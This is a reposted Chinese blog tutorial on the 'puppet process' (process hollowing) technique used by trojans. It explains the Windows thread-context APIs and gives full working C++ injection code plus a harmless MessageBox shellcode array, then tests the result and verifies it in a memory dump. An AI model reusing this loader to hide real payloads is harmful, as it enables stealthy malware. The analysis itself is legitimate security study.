本文转载自【微信公众号:MicroPest ,ID:gh_696c36c5382b】,经微信公众号授权转载,如需转载原文作者联系
在病毒、木马的实战中有类手法叫“傀儡进程”,换称为“李代桃僵”、“披着羊皮的狼”等称呼,即巧借正常的软件进程或是系统进程的外壳来执行非正常的恶意操作,常被病毒、木马用来作为驻留隐藏的手段。
在测试后,我们进行了验证,这个过程有点麻烦,累人。
一、函数介绍
傀儡进程在替换目标进程之前,必须要保存当前线程的上下文环境,在替换完成后要及时恢复。这样系统才能将傀儡进程视为“正常”进程,而不会被发现。另外为了后边清空内存空间的操作,也必须要通过上下文获得进程的加载基地址。利用系统函数GetThreadContext便可得到当前的线程上下文。
函数1:GetThreadContext
BOOL GetThreadContext(_In_ HANDLE hThread, _Inout_ LPCONTEXT lpContext);BOOL Wow64GetThreadContext( _In_ HANDLE hThread, _Inout_ PWOW64_CONTEXT lpContext);
GetThreadContext函数能够获取指定线程的上下文。64位应用进程可以使用Wow64GetThreadContext函数来检索WOW64线程的上下文。
hThread参数是目标线程句柄,须对目标线程具有THREAD_GET_CONTEXT访问权限。对于WOW64进程的线程也要具有THREAD_QUERY_INFORMATION访问权限。
lpContext参数指向上下文结构,接受指定线程适当的上下文。:
typedef struct _CONTEXT {// 在查询的时候需要设置该字段,表示查询哪些其他的CONTEXT结构字段。 DWORD ContextFlags; // 调试寄存器组 DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; // 浮点寄存器 FLOATING_SAVE_AREA FloatSave; // 段寄存器 DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; // 通用数据寄存器(整型寄存器)组 DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; // 控制寄存器组——比如CS、BP、SP之类的保存基址指针和堆栈指针、进程计数器。 DWORD Ebp; DWORD Eip; DWORD SegCs; // MUST BE SANITIZED DWORD EFlags; // MUST BE SANITIZED DWORD Esp; DWORD SegSs; BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];} CONTEXT;
该结构中的ContextFlags成员可以指定检索线程上下文的哪些部分(具体看注释,很清楚)。可以看到此结构具有高度的处理器特性。
WOW64_CONTEXT结构也基本相似:
typedef struct _WOW64_CONTEXT {DWORD ContextFlags; DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; WOW64_FLOATING_SAVE_AREA FloatSave; DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; DWORD Ebp; DWORD Eip; DWORD SegCs; DWORD EFlags; DWORD Esp; DWORD SegSs; BYTE ExtendedRegisters[WOW64_MAXIMUM_SUPPORTED_EXTENSION];} WOW64_CONTEXT;
如果函数执行成功,返回值非零。执行失败则返回值为零。
函数2:SetThreadContext
BOOL SetThreadContext(_In_ HANDLE hThread, _In_ const CONTEXT *lpContext);BOOL Wow64SetThreadContext( _In_ HANDLE hThread, _In_ const WOW64_CONTEXT *lpContext);
SetThreadContext函数指定线程的上下文。64位应用进程可以使用Wow64SetThreadContext函数设置WOW64线程的上下文。
hThread参数指定线程的句柄,并将设置其上下文。该句柄必须具有对目标线程的THREAD_SET_CONTEXT权限。
lpContext参数指向上下文结构,结构中的ContextFlags成员可以指定设置线程上下文的哪些部分。
设置上下文成功,则返回值非零;设置失败,返回值为零。
DWORD WINAPI ResumeThread(_In_ HANDLE hThread)
ResumeThread函数可以使线程的挂起时间计数(暂停计数)减一。创建一个挂起的线程或者手动挂起一个线程后调用。调用该函数后线程不一定会立刻执行,而是由操作系统继续调度,直到计数为0,系统为其分配资源时才开始执行。可以利用这个函数将挂起线程的暂停计数递减到零,恢复线程的执行。
hThread参数是需要重新启动线程的句柄。该句柄必须具有THREAD_SUSPEND_RESUME权限。
函数执行成功,则返回值时线程先前挂起的计数;执行失败则返回DWORD(-1)。
二、实现原理
傀儡进程的创建就是修改某一进程的内存数据,向内存中写入Shellcode,并修改该进程的执行流程,转而执行Shellcode代码。这样一来,进程还是原来的进程,但是执行的操作却被替换了。
创建傀儡进程的两个关键技术点:
.写入Shellcode数据的时机
.更改执行流程的方法
通过前面的函数介绍可以知道,当使用CreateProcess时提供CREATE_SUSPENDED作为线程建立后主进程挂起等待的标志这时主线程会处于挂起状态,直到使用ResumeThread恢复线程。在挂起时,SetThreadContext函数可以修改线程上下文中的EIP数据,即可修改线程的执行流程。
(1)调用CreateProcess以挂起的方式(CREATE_SUSPENDED)创建进程;
(2)调用VirtualAllocEx函数申请一个RWX内存;
(3)调用WriteProcessMemory将Shellcode数据写入刚申请的内存中;考虑到傀儡进程的内存占用过大的问题,也可以调用ZwUnmapViewOfSection函数来卸载傀儡进程并加载模块;
(4)调用GetThreadContext,设置获取标志为CONTEXT_FULL,即获取新进程中所有线程的上下文;
(5)修改线程上下文中EIP的值为申请的内存的首地址,通过SetThreadContext函数设置回主线程中;
(6)调用ResumeThread恢复主线程。
注意:在使用GetThreadContext获取线程上下文的时候,一定要对上下文结构中的ContextFlags成员赋值,指明要检索线程上下文的哪些部分,否则会导致程序不能实现到想要的效果。此次ContextFlags赋值为CONTEXT_FULL,这表示获取所有线程的上下文信息。
三、源码
//************************************// 函数名:ReplaceProcess // 返回类型:BOOL // 功能: 使用ShellCode替换目标进程 // 参数1:char *pszFilePath 目标进程路径 // 参数2:PVOID pReplaceData Shellcode首地址 // 参数3:DWORD dwReplaceDataSize Shellcode大小(字节) // 参数4:DWORD dwRunOffset Shellcode中开始代码相对首地址的偏移 //************************************BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset){ STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONTEXT threadContext = { 0 }; BOOL bRet = FALSE; ::RtlZeroMemory(&si, sizeof(si)); ::RtlZeroMemory(&pi, sizeof(pi)); ::RtlZeroMemory(&threadContext, sizeof(threadContext)); si.cb = sizeof(si); // 创建进程并挂起主线程 bRet = ::CreateProcessA(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); // 在进程中申请一块内存 LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 写入Shellcode数据 bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL); // 获取线程上下文 threadContext.ContextFlags = CONTEXT_FULL; bRet = ::GetThreadContext(pi.hThread, &threadContext); // 修改进程中PE文件的入口地址 threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset; // 设置挂起进程的线程上下文 bRet = ::SetThreadContext(pi.hThread, &threadContext); // 恢复挂起进程的线程 ::ResumeThread(pi.hThread); return TRUE;}
主程序:
int _tmain(int argc, _TCHAR* argv[])
{
ReplaceProcess("C:\\Users\\Administrator\\Desktop\\test\\DisplaySample.exe", data, 624, 432);
system("pause");
return 0;
}
这里有几个参数“data,624,432”,我们分别来看看,
// messagebox Shellcodechar data[624] = {0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x7D, 0x08, 0x81, 0xE7, 0x00, 0x00, 0xFF, 0xFF, 0x66, 0x81, 0x3F, 0x4D, 0x5A, 0x75, 0x12, 0x8B, 0xF7, 0x03, 0x76, 0x3C, 0x81, 0x3E, 0x50, 0x45, 0x00, 0x00, 0x75, 0x05, 0x89, 0x7D, 0xFC, 0xEB, 0x10, 0x81, 0xEF, 0x00, 0x00, 0x01, 0x00, 0x81, 0xFF, 0x00, 0x00, 0x00, 0x70, 0x72, 0x02, 0xEB, 0xD7, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC2, 0x04, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x40, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0x8B, 0x35, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x38, 0x4F, 0x18, 0x75, 0xF3, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xF8, 0x60, 0x33, 0xC9, 0x8B, 0x55, 0x0C, 0x8A, 0x02, 0x0A, 0xC0, 0x74, 0x04, 0x41, 0x42, 0xEB, 0xF6, 0x89, 0x4D, 0xF8, 0x8B, 0x75, 0x08, 0x03, 0x76, 0x3C, 0x8B, 0x76, 0x78, 0x03, 0x75, 0x08, 0x33, 0xD2, 0x8B, 0x5E, 0x20, 0x03, 0x5D, 0x08, 0x56, 0x8B, 0x75, 0x0C, 0x8B, 0x3B, 0x03, 0x7D, 0x08, 0x8B, 0x4D, 0xF8, 0xF3, 0xA6, 0x75, 0x03, 0x5E, 0xEB, 0x0A, 0x5E, 0x42, 0x83, 0xC3, 0x04, 0x3B, 0x56, 0x18, 0x72, 0xE3, 0x8B, 0x5E, 0x24, 0x03, 0x5D, 0x08, 0xB8, 0x02, 0x00, 0x00, 0x00, 0xF7, 0xE2, 0x03, 0xD8, 0x0F, 0xB7, 0x03, 0x8B, 0x5E, 0x1C, 0x03, 0x5D, 0x08, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF7, 0xE1, 0x03, 0xD8, 0x8B, 0x03, 0x03, 0x45, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC2, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x49, 0x20, 0x61, 0x6D, 0x20, 0x44, 0x65, 0x6D, 0x6F, 0x6E, 0x47, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x65, 0x6D, 0x6F, 0x6E, 0x47, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEB, 0xB6, 0x11, 0x40, 0x00, 0xE8, 0xAE, 0xFE, 0xFF, 0xFF, 0x0B, 0xC0, 0x75, 0x05, 0xE9, 0x9A, 0x00, 0x00, 0x00, 0x89, 0x83, 0x46, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x59, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x46, 0x11, 0x40, 0x00, 0xE8, 0xE8, 0xFE, 0xFF, 0xFF, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x7C, 0x89, 0x83, 0xA4, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x68, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x46, 0x11, 0x40, 0x00, 0xFF, 0x93, 0xA4, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x5D, 0x89, 0x83, 0xA8, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x4E, 0x11, 0x40, 0x00, 0x50, 0xFF, 0x93, 0xA8, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x44, 0x89, 0x83, 0x4A, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x75, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x4A, 0x11, 0x40, 0x00, 0xFF, 0x93, 0xA4, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x25, 0x89, 0x83, 0xAC, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x81, 0x11, 0x40, 0x00, 0x8D, 0x8B, 0x9B, 0x11, 0x40, 0x00, 0x6A, 0x04, 0x51, 0x50, 0x6A, 0x00, 0xFF, 0x93, 0xAC, 0x11, 0x40, 0x00, 0x83, 0xF8, 0x06, 0x74, 0x02, 0x61, 0xC3, 0x61, 0xE9, 0xDE, 0xC4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00};
原来参数中“data”是ShellCode数据,“624”是长度,“432”是第432个字节的位置,应该是ShellCode的EIP。我们将这段ShellCode变成代码看看,用IDA来处理下,
这是ShellCode的代码,只截一部分;那我们看看432这个位置,换算成十六进制就是1B0这里,
EIP指向1B0,后面紧跟着一个Call;
四、测试
运行程序,
成功弹出窗口,并看到三者的隶属关系:ReplaceProcess_Test.exe--->DisplaySample.exe--->ShellCode;
这从下图代码段中就可以看到三者的次序,
五、验证
因为是将ShellCode写入到内存的DisplaySample.exe内存中,为了验证这个问题,我要将DisplaySample.exe内存Dump出来,在其中能否找到ShellCode,如果能找到说明确定是成功写入了。
Dump进程工具,我用自开发的程序,
导出,
DisplaySample.exe的PID此时为6968,所以导出的内存文件默认为6968.dmp。
打开6968.dmp,
查找ShellCode的开头几字节,定位到位置,位于6974处;
我们再来看看ShellCode的尾部,长度是624字节,换成十六进制就是270H,270+6974=6BE4H,我们找这个位置,
因为都是0,没有什么意义,我们看不为0的最后,发现两者一致;
我们再来看看上面的EIP,是1B0H,1B0+6974=6B24H,
指向当前40H的位置,我们再看ShellCode的40H位置,
这里发现有些问题,和搜索的位置发生变化了,
上图的位置相当于116H处,这和1B0H已经不相吻合了,不知道为什么会这样,有时间以后再研究下这个问题吧。
至此,傀儡进程工作完成。